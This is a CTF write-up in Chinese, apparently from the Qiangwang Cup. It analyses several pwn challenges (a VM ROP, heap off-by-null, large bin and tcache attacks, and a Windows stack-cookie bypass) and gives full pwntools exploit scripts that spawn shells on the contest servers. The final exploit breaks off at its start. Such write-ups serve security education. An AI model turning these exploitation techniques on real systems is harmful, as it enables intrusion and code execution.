pwn比赛,但是太弱了只能做简单的题,难题只能赛后学习别人的wp了;最后跟着队里打进了前十,大哥们太猛了!就简单记录一下自己做得题好了,本来是想着复现一些题的,但是时间上目前比较吃紧,以后有时间再看吧(咕咕咕)。
QWBlogin
解题过程
vm pwn,分析一下binary:
初始化的过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27v9 = (struc_pcb *)calloc(0xD0uLL, 1uLL);
v9->code_buf = calloc(1uLL, ((*(_QWORD *)(v8 + 14) >> 12) + 1LL) << 12);// v8 + 6 ===> code data start
memcpy(v9->code_buf, &v8[*(_QWORD *)(v8 + 6)], *(_QWORD *)(v8 + 14));// v8 + 14 ===> code length
v9->code_size = ((*(_QWORD *)(v8 + 14) >> 12) + 1LL) << 12;// store code data size
v9->global_buf = calloc(1uLL, ((*(_QWORD *)(v8 + 30) >> 12) + 1LL) << 12);// v8 + 30 ===> global data size
memcpy(v9->global_buf, &v8[*(_QWORD *)(v8 + 22)], *(_QWORD *)(v8 + 30));// v8 + 22 ===> global data start
v9->global_size = ((*(_QWORD *)(v8 + 30) >> 12) + 1LL) << 12;// store global data size
v9->stack_buf = calloc(1uLL, 0x20000uLL); // stack
v9->stack_size = 0x20000LL;
v9->_rsp = 0x10000LL;
v9->_rip = *(_QWORD *)(v8 + 38); // v8 + 38 ===> pc start
IO_FILE = (__int64)calloc(0x18uLL, 1uLL);
*(_QWORD *)(IO_FILE + 16) = 0LL;
*(_DWORD *)IO_FILE = 0;
*(_QWORD *)(IO_FILE + 8) = 0LL;
v3 = IO_FILE;
*(_QWORD *)(v3 + 16) = calloc(0x18uLL, 1uLL);
*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) = 0LL;
**(_DWORD **)(IO_FILE + 16) = 1;
*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 8LL) = 0LL;
v4 = *(_QWORD *)(IO_FILE + 16);
*(_QWORD *)(v4 + 16) = calloc(0x18uLL, 1uLL);
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) + 16LL) = 0LL;
**(_DWORD **)(*(_QWORD *)(IO_FILE + 16) + 16LL) = 2;
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) + 8LL) = 0LL;
while ( !(unsigned int)vmstart(v9) )
;传入的
v9
为自定义的结构体,为了方便分析:1
2
3
4
5
6
7
8
9
10
11
12
13
1400000000 struc_pcb struc ; (sizeof=0xD8, mappedto_21)
00000000 REG dq 16 dup(?)
00000080 _rsp dq ?
00000088 field_88 dq ?
00000090 _rip dq ?
00000098 rflag dq ?
000000A0 code_size dq ?
000000A8 code_buf dq ? ; offset
000000B0 global_size dq ?
000000B8 global_buf dq ? ; offset
000000C0 stack_size dq ?
000000C8 stack_buf dq ? ; offset
000000D0 field_D0 dq ?
000000D8 struc_pcb ends基本上
test.bin
里面,0x100 - 0x8B8
的位置就是code segment
,0x8B8 - 0x978
就是bss segment
,栈是通过calloc(1uLL, 0x20000uLL)
另外开辟的,栈底就是0x20000
。指令部分简单贴一下当时做题的分析结果(有些指令逻辑是相同的,但是不影响):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62[0] [1] [2] [3]
0000 0000 0000 0000
[3] ==> opcode ins_len
0x1, 2, 3, 4 0xB
0x0, B, C, D, E 0x4
0x5 [2] == 0x1: 0x4
[2] == 0x2: 0x5
[2] == 0x3: 0x7
[2] == 0x4: 0xB
0x6 0x3
0x7 [2] == 0x1: 0x3
[2] == 0x2: 0x4
[2] == 0x3: 0x6
[2] == 0x4: 0xA
0x8 [1] == 0x2: 0x2
else: 0xA
0x9 [1] == 0x2: 0x2
_rip >= size-10: 0x2
rflag:
8 < (unsigned)
1 overflow
4 zero
2 res is negative (signed)
1:mov指令
2:add
3:sub
4:mul
5:mul
6:mod
7:xor
8:or
9:and
A:shl
B:shr
C:not
D:pop
E:push
10:call
11:ret
12:cmp
13:jmp
14:jz
15:jnz
16:jg
17:jg
18:jle
19:jge
1A:ja
1B:ja
1C:jae
1D:jae
0x20:syscall
for 0x20:
20 xx ===> r0 == 3, args: r1 close
20 08 ===> r0 == 1, args: r1, r2, r3 read to virtual bss
r0 == 2, args: r1, r2, r3 write from virtual bss
20 09 ===> r0 == 1, args: r1, r2, r3 read to virtual stack
r0 == 2, args: r1, r2, r3 write from virtual stack
20 10 ===> r0 == 0, args: r1, r2 open由于本身是个pwn题,如果用我的龟速去写个脚本翻译指令就太慢了,索性就直接颅内翻译+动态调试验证,其实逻辑也十分简单。
首先
test.bin
是通过call
指令进入主函数,然后要求输入password
然后进行check
前3
个字符是单独比较的,后面32
个字符分成四组异或后再比较,基本遵从如下格式(test.bin
里0x22E
的位置):1
2
3
4
5
6
7
8
9
10
11
1201 15 00 01 ===> movb r0, 1
01 25 01 00 00 ===> movw r1, 1
01 25 02 40 00 ===> movw r2, 0x40
01 15 03 21 ===> movb r3, 0x21
20 08 ===> read
07 40 08 08 ===> xor r8, r8
01 41 08 40 00 00 00 00 00 00 00 ===> movq r8, 0x40
01 45 09 CD AB 27 98 12 34 72 42 ===> movq r9, 0x427234129827ABCD
07 40 08 09 ===> xor r8, r9
12 45 08 8A 9B 17 DC 40 07 24 10 ===> cmp r8, 0x10240740DC179B8A
14 17 02 ===> jz 2
00 0A ===> exit那么简单写个逆推脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21res = ""
res += "QWQ"
a1 = [0xCD, 0xAB, 0x27, 0x98, 0x12, 0x34, 0x72, 0x42]
a2 = [0x8A, 0x9B, 0x17, 0xDC, 0x40, 0x07, 0x24, 0x10]
res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])
a1 = [0xAD, 0xDE, 0x41, 0x12, 0x34, 0x12, 0x74, 0x12]
a2 = [0xFA, 0xED, 0x70, 0x5E, 0x70, 0x22, 0x3A, 0x21]
res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])
a1 = [0x23, 0xC1, 0xAB, 0x12, 0x58, 0x96, 0x34, 0x86]
a2 = [0x77, 0xB3, 0xD2, 0x20, 0x08, 0xE1, 0x5A, 0xA7]
res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])
a1 = [0x9A, 0x78, 0x36, 0x12, 0x78, 0x16, 0x32, 0x12]
a2 = [0xDD, 0x37, 0x71, 0x5D, 0x3F, 0x59, 0x75, 0x5D]
res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])
print(res)即可得到:
QWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO
。接下来
check
通过,可以向栈上写入0x800
bytes数据,之后通过ret
,也就是从栈上取出地址再跳转。而写入的0x800
字节可以覆盖这个返回地址,那么这样看来这个题目其实就是需要通过在vm中实现rop。根据前面所分析的,存在
open
,read
,write
调用,而且对跳转地址有范围内的检查,所以只能在载入的test.bin
寻找vm gadget,然后通过orw的方式获取flag。而其实也不难注意到
test.bin
中存在一段比较可疑的数据,仔细查看可以发现存在上图这样的
pop r0; ret;
和pop r1; ret;
等gadget,也就是说r0, r1, r2, r3
都是可控的,满足了0x20调用的条件,而且:同时存在0x20调用。
那么就很简单了,通过构造rop的方式来orw即可。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24p = remote('47.94.20.173', 32142)
pop_r0 = 0x2F5
pop_r1 = 0x377
pop_r2 = 0x45C
pop_r3 = 0x4E1
syscall = 0x5B1 # read is 1, write is 2
syscall_open = 0x6ED
password = 'QWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO'
p.sendafter("password: \n", password)
payload = "A" * 0x108
payload += flat([pop_r0, 1, pop_r1, 0, pop_r2, 0, pop_r3, 0x8, syscall]) # read
payload += flat([pop_r0, 0, pop_r1, 0, pop_r2, 0, syscall_open]) # open
payload += flat([pop_r0, 1, pop_r1, 4, pop_r2, 0x10, pop_r3, 0x40, syscall]) # read
payload += flat([pop_r0, 2, pop_r1, 1, pop_r2, 0x10, pop_r3, 0x40, syscall]) # write
p.sendafter("PWNITNOW!GOGO!", payload)
sleep(1)
p.sendline("/flag\x00")
p.interactive()
easypwn
解题过程
首先binary通过
mallopt(1, 0)
禁用了fastbin,但是在read_str
中存在一个off by null
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27unsigned __int64 __fastcall read_str(__int64 a1, int a2)
{
char buf; // [rsp+1Fh] [rbp-11h]
int i; // [rsp+20h] [rbp-10h]
int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
for ( i = -1; ; *(_BYTE *)(a1 + i) = buf )
{
v5 = i;
if ( i + 1 >= (unsigned int)(a2 + 1) )
break;
if ( a2 - 1 == v5 )
{
buf = 0;
*(_BYTE *)(a1 + ++i) = 0;
return __readfsqword(0x28u) ^ v6;
}
if ( (int)read(0, &buf, 1uLL) <= 0 )
exit(-1);
if ( buf == 10 )
return __readfsqword(0x28u) ^ v6;
++i;
}
return __readfsqword(0x28u) ^ v6;
}其次注意到binary是没有
show
功能的,所以很容易想到要打stdout
来leak libc。在没有fastbin的情况下,那么可以利用这个off by null完成unlink attack,形成chunk overlap,可以伪造出large bin,来进行large bin attack。因为我们知道在将一个比原large bin的size要大的unsorted bin链入large bin的时候,会使得
large bin->bk->fd = unsorted bin
以及large bin->bk_nextsize->fd_nextsize = unsorted bin
,也就是能达到同时向两个任意地址写入堆块地址的目的。同时注意到只要控制
stdout
的_flags = 0xXXXXY800
(Y为奇数)以及_IO_write_base < _IO_write_ptr
即可触发输出相应缓冲区数据效果,从而leak出libc,所以采用控制unsorted bin的地址的低2 bytes(Y由于ASLR而随机)为Y800
然后通过large bin->bk->fd
写入,以及错位写_IO_write_base
的低字节为\x00
的方法。而由于large bin的
fd_nextsize
和bk_nextsize
都是堆地址,我们要改到stdout
的地方只能通过partial write,所以还要稍微做一下堆的排布,使得两个unsorted bin的bk
分别先后占住large bin的bk_nextsize
和bk
的位置。leak出libc之后,再通过一次large bin attack覆盖
_IO_list_all
为可控的堆地址,这样就能劫持_IO_FILE
的vtable写入onegadget,在binary进行exit
的时候触发来getshell。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103p = remote('39.101.184.181', 10000)
def add(size):
p.sendlineafter("Your choice:", "1")
p.sendlineafter("size:", str(size))
def edit(idx, content):
p.sendlineafter("Your choice:", "2")
p.sendlineafter("idx:", str(idx))
p.sendafter("content:", content)
def delete(idx):
p.sendlineafter("Your choice:", "3")
p.sendlineafter("idx:", str(idx))
def quit():
p.sendlineafter("Your choice:", "4")
stdout = 0x3c5620
_IO_list_all_offset = libc.sym['_IO_list_all']
one_gadget_offset = 0xf1207
while True:
try:
# chunk overlap
add(0xF8) # chunk 0
add(0xF8) # chunk 1
add(0xF8) # chunk 2
add(0x3E8) # chunk 3
add(0x1F8) # chunk 4
add(0x2E8) # chunk 5
add(0x1F8) # chunk 6
edit(3, (p64(0) + p64(0x21)) * 0x3E + '\n')
edit(4, (p64(0) + p64(0x21)) * 0x1F + p64(0x8F0)) # off by null
edit(5, (p64(0) + p64(0x21)) * 0x2E + '\n')
edit(6, (p64(0) + p64(0x21)) * 0x1F + '\n')
delete(0)
delete(5) # unlink attack
add(0x3E8) # chunk 0
edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + p64(0x411) + '\n') # unsorted bin
add(0x3E8) # chunk 5 (gap)
add(0x18) # chunk 7 (gap)
add(0x2D8) # chunk 8 (use all)
delete(3)
delete(8)
add(0x2D8) # chunk 3 (get large bin)
delete(2)
add(0x108) # chunk 2
add(0x1E8) # chunk 8 (use all)
delete(1)
add(0x1F8) # chunk 1
add(0x28) # chunk 9 (use all)
edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + p64(0x411) + '\n') # fix
edit(4, "A" * 0xE8 + p64(0x21) + "A" * 0x18 + p64(0x421) + '\n')
delete(3) # unsorted bin
# libc_base = _base(_libc)
target = 0x5620 + 0x5000# + libc_base
edit(9, p64(0) + p16(target - 0x10) + '\n')
edit(8, p64(0) + p16(target - 0x20 + 0x19) + '\n')
delete(0)
add(0x3D8)
p.recvuntil("\x00" * 0x18)
libc_base = u64(p.recv(8)) - 0x3c36e0
_IO_list_all = libc_base + _IO_list_all_offset
one_gadget = libc_base + one_gadget_offset
heap_base = u64(p.recv(8)) - 0x800
break
except:
print("fail")
p.close()
p = remote('39.101.184.181', 10000)
# large bin attack again
edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + \
p64(0x401) + p64(libc_base + 0x3C4F68) + p64(_IO_list_all - 0x10) + \
p64(heap_base + 0x300) * 2 + '\n')
edit(4, "A" * 0xE0 + p64(0) + p64(0x411) + '\n')
delete(7)
delete(0)
add(0x3E8)
payload = p64(one_gadget) * 28 + p64(0) + p64(0x411)
payload += "\x00" * 0x10 + p64(0) + p64(1) + "\x00" * 0xA8 + p64(heap_base + 0x7E0 - 0xF0)
edit(4, payload + '\n')
# exit
quit()
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))
success("one_gadget: " + hex(one_gadget))
p.interactive()
direct
解题思路
首先这个
edit
对offset
的检查不够严格,所以可以向任意负偏移的位置写值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38unsigned __int64 edit()
{
unsigned __int64 result; // rax
__int64 v1; // rax
__int64 v2; // rcx
__int64 v3; // [rsp+8h] [rbp-18h]
__int64 v4; // [rsp+10h] [rbp-10h]
size_t nbytes; // [rsp+18h] [rbp-8h]
result = (unsigned int)open_status;
if ( open_status )
{
print("Index: ");
result = choice();
v3 = result;
if ( result <= 0xF )
{
result = chunk_array[result];
if ( result )
{
print("Offset: ");
v4 = choice();
print("Size: ");
v1 = choice();
nbytes = v1;
v2 = v4 + v1;
result = chunk_size[v3];
if ( v2 <= (__int64)result )
{
print("Content: ");
read(0, (void *)(chunk_array[v3] + v4), nbytes);
result = puts_("Done!");
}
}
}
}
return result;
}那么可以轻易的伪造unsorted bin。
但是同时注意到这也是一个”无 leak“的题目,因为没有常规的
show
功能,而且这个时候因为没有puts
,所以通过stdout
去leak的思路是行不通的。这个时候关注一下这个
opendir
和readdir
,opendir
会在对上开辟一块0x8040
大小的chunk,一开始内容是空的,而在调用完readdir
之后会发现这个chunk被写入了很多内容,比较明显的就是包含了当前目录下所有的文件名。这个时候查一下readdir
到底干了什么:大概就是
readdir
会返回一个指向当前文件信息的结构体,而在close file
功能的result = puts_((const char *)(v1 + 19));
也可以看出,这个+19
正好就是指向文件名了,也就是d_name
。那么leak的思路就有了,就是利用unsorted bin->fd或bk,将某个结构体的
d_name
给覆盖掉,那么在某次调用close file
打印文件名的时候,就会把这fd或者bk给打印出来,从而leak出libc。接下就是直接
tcache poisoning
打__free_hook
为system
即可。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" N0p / AAA """
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
p = remote('106.14.214.3', 1912)
def add(idx, size):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
def edit(idx, offset, size, content):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Offset: ", str(offset))
p.sendlineafter("Size: ", str(size))
p.sendafter("Content: ", content)
def delete(idx):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index: ", str(idx))
def opendir():
p.sendlineafter("Your choice: ", "4")
def readdir():
p.sendlineafter("Your choice: ", "5")
system_offset = libc.sym["system"]
__free_hook_offset = libc.sym["__free_hook"]
add(0, 0x18)
add(1, 0xF8)
add(2, 0xF8)
add(3, 0xF8)
add(4, 0xF8)
opendir()
readdir()
edit(0, -8, 8, p64(0x4E1))
add(5, 0x18)
edit(5, -0x7F88, 0x28, p64(0x21) + p64(0) + p64(0x21) + p64(0) + p64(0x21))
delete(0)
add(6, 0xF8)
add(7, 0xF8)
add(8, 0xF8)
add(9, 0xF8)
add(10, 0xB8)
edit(5, -0x7FA8 + 3, 5, 'AAAAA')
readdir()
readdir()
readdir()
p.recvuntil("AAAAA")
libc_base = u64(p.recv(6).ljust(8, "\x00")) - 0x3ebca0
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset
delete(2)
edit(3, -0x100, 8, p64(__free_hook))
add(11, 0xF8)
edit(11, 0, 8, "/bin/sh\x00")
add(12, 0xF8)
edit(12, 0, 8, p64(libc_system))
delete(11)
success("libc_base: " + hex(libc_base))
p.interactive()
oldschool
这题当时是队里大佬们做的,我只是赛后又做了一遍。
解题思路
题目给的是源代码,编译方式
Ubuntu 18.04, GCC -m32 -O3
,直接看源码会发现没有问题,之前pwnable以及中科大的HackerGame上也有过直接给源码的,反倒是编译后洞更明显。那么直接编译之后,就会发现,
mmap_edit
有逻辑被优化掉了:1
2
3
4
5
6
7
8if ( 4 * v2 >= 0 || (unsigned int)(g_ptr + 4 * v2) > 0xEFFFFFFF )
{
__printf_chk(1, "Value: ");
if ( __isoc99_scanf("%u", &v3) != 1 )
LABEL_3:
exit(0);
*(_DWORD *)(g_ptr + 4 * v0) = v3;
}也就是说check不存在了,可以直接写到高地址的libc处了。
那么首先填满tcache,然后拿到unsorted bin,利用unsorted bin来leak出libc地址。
之后及直接利用
mmap_edit
写__free_hook
为system
即可。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60p = remote('106.14.214.3', 2333)
def add(idx, size):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
def edit(idx, content):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index: ", str(idx))
p.sendafter("Content: ", content)
def show(idx):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index: ", str(idx))
p.recvuntil('Content: ')
def delete(idx):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Index: ", str(idx))
def mmap(offset):
p.sendlineafter("Your choice: ", "6")
p.sendlineafter("Where do you want to start: ", str(offset))
def edit_map(offset, val):
p.sendlineafter("Your choice: ", "7")
p.sendlineafter("Index: ", str(offset))
p.sendlineafter("Value: ", str(val))
main_arean_offset = 0x1d87a0
system_offset = libc.sym["system"]
__free_hook_offset = libc.sym["__free_hook"]
add(0, 0x78)
for i in range(7):
add(i + 1, 0x78)
for i in range(7):
delete(i + 1)
delete(0)
for i in range(7):
add(i + 1, 0x78)
add(0, 0x78)
edit(0, "AAA\n")
show(0)
p.recvuntil("AAA\n")
libc_base = u32(p.recv(4)) - 0x38 - main_arean_offset
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset
mmap(0)
offset = (__free_hook - 0xE0000000) >> 2
edit_map(offset, str(libc_system))
edit(1, "/bin/sh\x00\n")
delete(1)
success("libc_base: " + hex(libc_base))
p.interactive()
easyoverflow
比较简单的一个windows栈溢出,正好最近在学。
解题思路
首先栈溢出比较明显:
1
2
3
4
5
6
7
8
9
10do
{
--v10;
memset(&Dst, 0, 0x100ui64);
puts("input:");
read(0, &Dst, 0x400u);
puts("buffer:");
puts(&Dst);
}
while ( v10 > 0 );也可以看出
SEH
和SafeSEH
都没有,开了GS
。其次由于windows的ASLR机制与linux下不同,PIE base和dll base其低2 bytes均为0,而且在短时间内是不会变化的,也就是说第一次leak出来之后,后面可以直接用而不会因连接重置而重置;但是栈地址依然是随机的。
那么先统一把栈上面已有的
PIE
和ntdll
上的库函数地址给leak出来,PIE
用来return到puts
上进行leak,(因为puts
函数并不在ntdll
里面,而system
函数在ucrtbase.dll
里面)。至于这个栈上的
cookie
,从汇编代码中也可以看见:1
2
3
4
5
6
7
8
9
10
11.text:00007FF61C651000 push rbx
.text:00007FF61C651002 sub rsp, 130h
.text:00007FF61C651009 mov rax, cs:__security_cookie
.text:00007FF61C651010 xor rax, rsp
.text:00007FF61C651013 mov [rsp+138h+var_18], rax
......
.text:00007FF61C6510B2 mov rcx, [rsp+138h+var_18]
.text:00007FF61C6510BA xor rcx, rsp ; StackCookie
.text:00007FF61C6510BD call __security_check_cookie是先从binary的位置拿出
__security_cookie
的值,然后和rsp
进行异或再写入栈上,退出时同样拿出栈上的cookie
与rsp
进行异或后再进行和__security_cookie
的比较。因此如果rsp
发生了变化,不能单纯地使用cookie
来填充,而要leak出__security_cookie
和cookie
计算出rsp
地值,再用__security_cookie
和新的rsp
异或得到新的cookie
写入到栈上。后续地就是利用
puts
将read
地地址leak出来,然后计算出ucrtbase
的加载地址从而计算出system
和cmd.exe
的地址,再用rop执行system("cmd.txt")
,getshell后利用type flag.txt
读flag。exp(写得比较复杂,实际那些base地址在leak之后都可以直接用):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82from winpwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
# p = process("./StackOverflow.exe")
# if len(sys.argv) == 2 and sys.argv[1] == '1':
# windbgx.attach(p)
p = remote('39.99.46.209', 13389)
pop_rdi_rsi = 0x000000000000cf23 # pop rdi ; pop rsi ; ret
pop_rcx = 0x000000000009217b # pop rcx ; ret
puts_gadget = 0x10A6
GS_offset = 0x3008
read_offset = 0x2178
payload = "A" * 0x100
p.sendafter("input:\x0D\x0A", payload, timeout=1)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x100)
cookie = u64(p.recv(6).ljust(8, '\x00'))
# payload = "A" * 0x118
# p.send(payload)
# p.recvuntil("buffer:")
# p.recvline()
# p.recv(0x118)
# PIE_base = u64(p.recv(6).ljust(8, '\x00')) - 0x12F4
# PIE_base = 0x7ff61c650000
PIE_base = 0x7ff6fcba0000
payload = "A" * 0x188
p.sendafter("input:\x0D\x0A", payload, timeout=1)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x188)
ntdll_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6A271
payload = "A" * 0x100
payload += p64(cookie)
payload += "A" * 8
payload += p64(1) # rbx
payload += p64(ntdll_base + pop_rcx) + p64(PIE_base + GS_offset)
payload += p64(PIE_base + puts_gadget)
p.sendafter("input:\x0D\x0A", payload, timeout=1)
p.recvuntil("buffer:\r\n")
p.recvline()
GS = u64(p.recv(6).ljust(8, '\x00'))
old_rsp = GS ^ cookie
new_rsp = old_rsp + 0x130 + 0x20
payload = "A" * 0x100
payload += p64(GS ^ new_rsp)
payload += "A" * 8
payload += p64(1) # rbx
payload += p64(ntdll_base + pop_rcx) + p64(PIE_base + read_offset)
payload += p64(PIE_base + puts_gadget)
p.sendafter("input:\x0D\x0A", payload, timeout=1)
p.recvuntil("buffer:\x0D\x0A")
p.recvline()
ucrtbase_base = u64(p.recv(6).ljust(8, '\x00')) - 0x16270
system = ucrtbase_base + 0xABBA0
cmd_exe = ucrtbase_base + 0xCC9F0
new_rsp += 0x130 + 0x20
payload = "A" * 0x100
payload += p64(GS ^ new_rsp)
payload += "A" * 8
payload += p64(1) # rbx
payload += p64(ntdll_base + pop_rcx) + p64(cmd_exe)
payload += p64(ntdll_base + pop_rdi_rsi) + p64(0) * 2
payload += p64(system)
p.sendafter("input:\x0D\x0A", payload, timeout=1)
print("[*] cookie: %s" % hex(cookie))
print("[*] PIE_base: %s" % hex(PIE_base))
print("[*] ntdll_base: %s" % hex(ntdll_base))
print("[*] GS: %s" % hex(GS))
print("[*] ucrtbase_base: %s" % hex(ucrtbase_base))
p.interactive()
easymessage
解题思路
最开始的时候
Leave message
可以溢出8 bytes
覆盖rbp
,先输入name
为一个大于256
的值,然后利用溢出控制rbp - 4
指向bss
上name
的内存区域:1
2
3
4
5
6
7
8.text:0000000000400985 cmp [rbp+var_4], 100h
.text:000000000040098C jle short loc_400995
.text:000000000040098E mov [rbp+var_4], 100h
.text:0000000000400995
.text:0000000000400995 loc_400995: ; CODE XREF: work+72↑j
.text:0000000000400995 mov eax, [rbp+var_4]
.text:0000000000400998 mov edi, eax
.text:000000000040099A call leave_message第二次
Leave message
就可以输入0x100
的payload
,直接写入write
的gadgets来leak libc ,以及read
的gadget来向bss
上读入第二段rop
,同时stack pivot到写入第二段rop
的位置处之后写入 system(“/bin/sh”) 的 gadget 即可。
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71p = remote('123.56.170.202', 21342)
def leave_name(name):
p.sendlineafter("choice: ", "1")
p.sendafter('name: ', name)
def leave_message(message):
p.sendlineafter("choice: ", "2")
p.sendafter('message: ', message)
def show():
p.sendlineafter("choice: ", "3")
p.recvuntil('says: ')
read_got = elf.got['read']
write_got = elf.got['write']
write_offset = libc.sym['write']
system_offset = libc.sym["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
ret = 0x0000000000400646 # ret
pop_rdi = 0x0000000000400ac3 # pop rdi ; ret
pop_rsi = 0x0000000000400ac1 # pop rsi ; pop r15 ; ret
leave_ret = 0x0000000000400886 # leave ; ret
gadget_1 = 0x400AA0
gadget_2 = 0x400AB6
bss = elf.bss(0x600)
leave_name("\x70" * 4)
payload = "A" * 0x8 + p64(0x6010D0 + 4)
leave_message(payload + '\n')
payload = "A" * 0x8 + p64(0)
payload += flat([gadget_2, 0, 0, 1, write_got, 1, write_got, 0x8])
payload += flat([gadget_1, 0, 0, 1, read_got, 0, bss, 0x200])
payload += flat([gadget_1, 0, 0, bss - 8, 0, 0, 0, 0])
payload += flat([leave_ret])
leave_message(payload)
p.recvuntil("done!\n\n")
libc_base = u64(p.recv(8)) - write_offset
libc_system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset
payload = flat([pop_rdi, str_bin_sh, pop_rsi, 0, 0, ret, libc_system])
p.send(payload)
'''
.text:0000000000400AA0 loc_400AA0: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400AA0 mov rdx, r15
.text:0000000000400AA3 mov rsi, r14
.text:0000000000400AA6 mov edi, r13d
.text:0000000000400AA9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400AAD add rbx, 1
.text:0000000000400AB1 cmp rbp, rbx
.text:0000000000400AB4 jnz short loc_400AA0
.text:0000000000400AB6
.text:0000000000400AB6 loc_400AB6: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400AB6 add rsp, 8
.text:0000000000400ABA pop rbx
.text:0000000000400ABB pop rbp
.text:0000000000400ABC pop r12
.text:0000000000400ABE pop r13
.text:0000000000400AC0 pop r14
.text:0000000000400AC2 pop r15
.text:0000000000400AC4 retn
'''
success("libc_base: " + hex(libc_base))
p.interactive()
babynotes
解题思路
reset 功能重新调用了一次 regist ,而 regist 中输入的 name 和 age 在 buffer 上连续,在 strcpy 的时候存在一次 heap overflow 的机会:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22int regist()
{
char s; // [rsp+0h] [rbp-50h]
__int64 v2; // [rsp+18h] [rbp-38h]
__int64 v3; // [rsp+28h] [rbp-28h]
memset(&s, 0, 0x50uLL);
motto = (char *)malloc(0x100uLL);
dest = (char *)malloc(0x18uLL);
puts("Input your name: ");
if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
exit(0);
puts("Input your motto: ");
if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
exit(0);
puts("Input your age: ");
__isoc99_scanf("%lld", &v2);
strcpy(dest, &s);
strncpy(motto, (const char *)&v3, 0x20uLL);
age = v2;
return puts("Done!");
}可见age的位置在
strcpy(dest, &s);
的时候也会同时被复制进去,因此可以覆盖下一个chunk的size。利用 heap overflow 伪造 size ,形成 chunk overlap ,然后利用
show
leak出 libc 地址,再 tcache poisoning 打__malloc_hook
为 onegadget 即可。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71p = remote('123.56.170.202', 43121)
def regit(name, motto, age):
